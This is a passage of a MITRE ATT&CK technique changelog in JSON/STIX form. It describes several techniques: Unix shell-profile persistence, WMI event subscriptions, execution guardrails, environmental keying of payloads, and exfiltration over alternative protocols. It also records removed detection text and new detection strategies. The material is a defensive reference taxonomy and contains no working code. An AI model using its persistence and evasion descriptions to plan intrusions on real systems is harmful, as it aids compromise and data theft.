"description": "Zachary Reichert. (2024, August 19). Unveiling \"sedexp\": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.",
"url": "https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Eduardo Gonz\u00e1lez Hern\u00e1ndez (@codexlynx)",
"Eder P\u00e9rez Ignacio, @ch4ik0",
"Wirapong Petshagun",
"@grahamhelton3",
"Ruben Groenewoud (@RFGroenewoud)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.034000+00:00\", \"old_value\": \"2025-04-15 23:17:25.978000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024) \"}, \"root['x_mitre_contributors'][4]\": {\"new_value\": \"Ruben Groenewoud (@RFGroenewoud)\", \"old_value\": \"Ruben Groenewoud, Elastic\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0375: Detection Strategy for T1546.017 - Udev Rules (Linux)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:13:45.936000+00:00",
"modified": "2025-10-24 17:49:15.960000+00:00",
"name": "Unix Shell Configuration Modification",
"description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/004",
"external_id": "T1546.004"
},
{
"source_name": "anomali-linux-rabbit",
"description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.",
"url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat"
},
{
"source_name": "anomali-rocke-tactics",
"description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.",
"url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect"
},
{
"source_name": "Linux manual bash invocation",
"description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.",
"url": "https://wiki.archlinux.org/index.php/Bash#Invocation"
},
{
"source_name": "ScriptingOSX zsh",
"description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.",
"url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/"
},
{
"source_name": "bencane blog bashrc",
"description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.",
"url": "https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/"
},
{
"source_name": "macOS MS office sandbox escape",
"description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.",
"url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a"
},
{
"source_name": "Magento",
"description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.",
"url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html"
},
{
"source_name": "Tsunami",
"description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.",
"url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
},
{
"source_name": "PersistentJXA_leopitt",
"description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.",
"url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
},
{
"source_name": "code_persistence_zsh",
"description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.",
"url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js"
},
{
"source_name": "ESF_filemonitor",
"description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.",
"url": "https://objective-see.com/blog/blog_0x48.html"
},
{
"source_name": "intezer-kaiji-malware",
"description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
"url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Robert Wilson",
"Tony Lambert, Red Canary"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.960000+00:00\", \"old_value\": \"2025-04-15 19:59:00.346000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\\n\\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \\n\\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\\n-\\n-Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \\n-\\n-For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0020: Detect Shell Configuration Modification for Persistence via Event-Triggered Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:07:56.276000+00:00",
"modified": "2025-10-24 17:49:06.119000+00:00",
"name": "Windows Management Instrumentation Event Subscription",
"description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts \u2013 using `mofcomp.exe` \u2013into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/003",
"external_id": "T1546.003"
},
{
"source_name": "FireEye WMI 2015",
"description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
},
{
"source_name": "Dell WMI Persistence",
"description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
"url": "https://www.secureworks.com/blog/wmi-persistence"
},
{
"source_name": "FireEye WMI SANS 2015",
"description": "Devon Kerr. (2015). There's Something About WMI. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
},
{
"source_name": "Medium Detecting WMI Persistence",
"description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
"url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
},
{
"source_name": "Elastic - Hunting for Persistence Part 1",
"description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
"url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
},
{
"source_name": "Mandiant M-Trends 2015",
"description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
},
{
"source_name": "Microsoft Register-WmiEvent",
"description": "Microsoft. (n.d.). Retrieved January 24, 2020.",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"source_name": "Microsoft MOF May 2018",
"description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Brent Murphy, Elastic",
"David French, Elastic",
"Viren Chaudhari, Qualys"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"WMI: WMI Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.119000+00:00\", \"old_value\": \"2025-04-15 19:58:50.950000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\\n\\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\\n-\\n-Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0005: WMI (WMI Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0086: Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-01-31 02:10:08.261000+00:00",
"modified": "2025-10-24 17:49:03.764000+00:00",
"name": "Execution Guardrails",
"description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1480",
"external_id": "T1480"
},
{
"source_name": "FireEye Outlook Dec 2019",
"description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.",
"url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"
},
{
"source_name": "Trellix-Qakbot",
"description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.",
"url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
},
{
"source_name": "FireEye Kevin Mandia Guardrails",
"description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.",
"url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Nick Carr, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.764000+00:00\", \"old_value\": \"2025-04-15 19:58:48.316000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1055: Do Not Mitigate"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0562: Multi-Platform Execution Guardrails Environmental Validation Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-23 22:28:28.041000+00:00",
"modified": "2025-10-24 17:49:35.768000+00:00",
"name": "Environmental Keying",
"description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1480/001",
"external_id": "T1480.001"
},
{
"source_name": "Proofpoint Router Malvertising",
"description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.",
"url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices"
},
{
"source_name": "Kaspersky Gauss Whitepaper",
"description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf"
},
{
"source_name": "Ebowla: Genetic Malware",
"description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.",
"url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf"
},
{
"source_name": "EK Clueless Agents",
"description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.",
"url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf"
},
{
"source_name": "EK Impeding Malware Analysis",
"description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.",
"url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf"
},
{
"source_name": "Demiguise Guardrail Router Logo",
"description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.",
"url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js"
},
{
"source_name": "Environmental Keyed HTA",
"description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved November 17, 2024.",
"url": "http://web.archive.org/web/20200608093807/https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Nick Carr, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.768000+00:00\", \"old_value\": \"2025-04-15 19:59:20.646000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1055: Do Not Mitigate"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0474: Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:44.720000+00:00",
"modified": "2025-10-24 17:49:10.460000+00:00",
"name": "Exfiltration Over Alternative Protocol",
"description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1048",
"external_id": "T1048"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Palo Alto OilRig Oct 2016",
"description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
"url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
},
{
"source_name": "20 macOS Common Tools and Techniques",
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain",
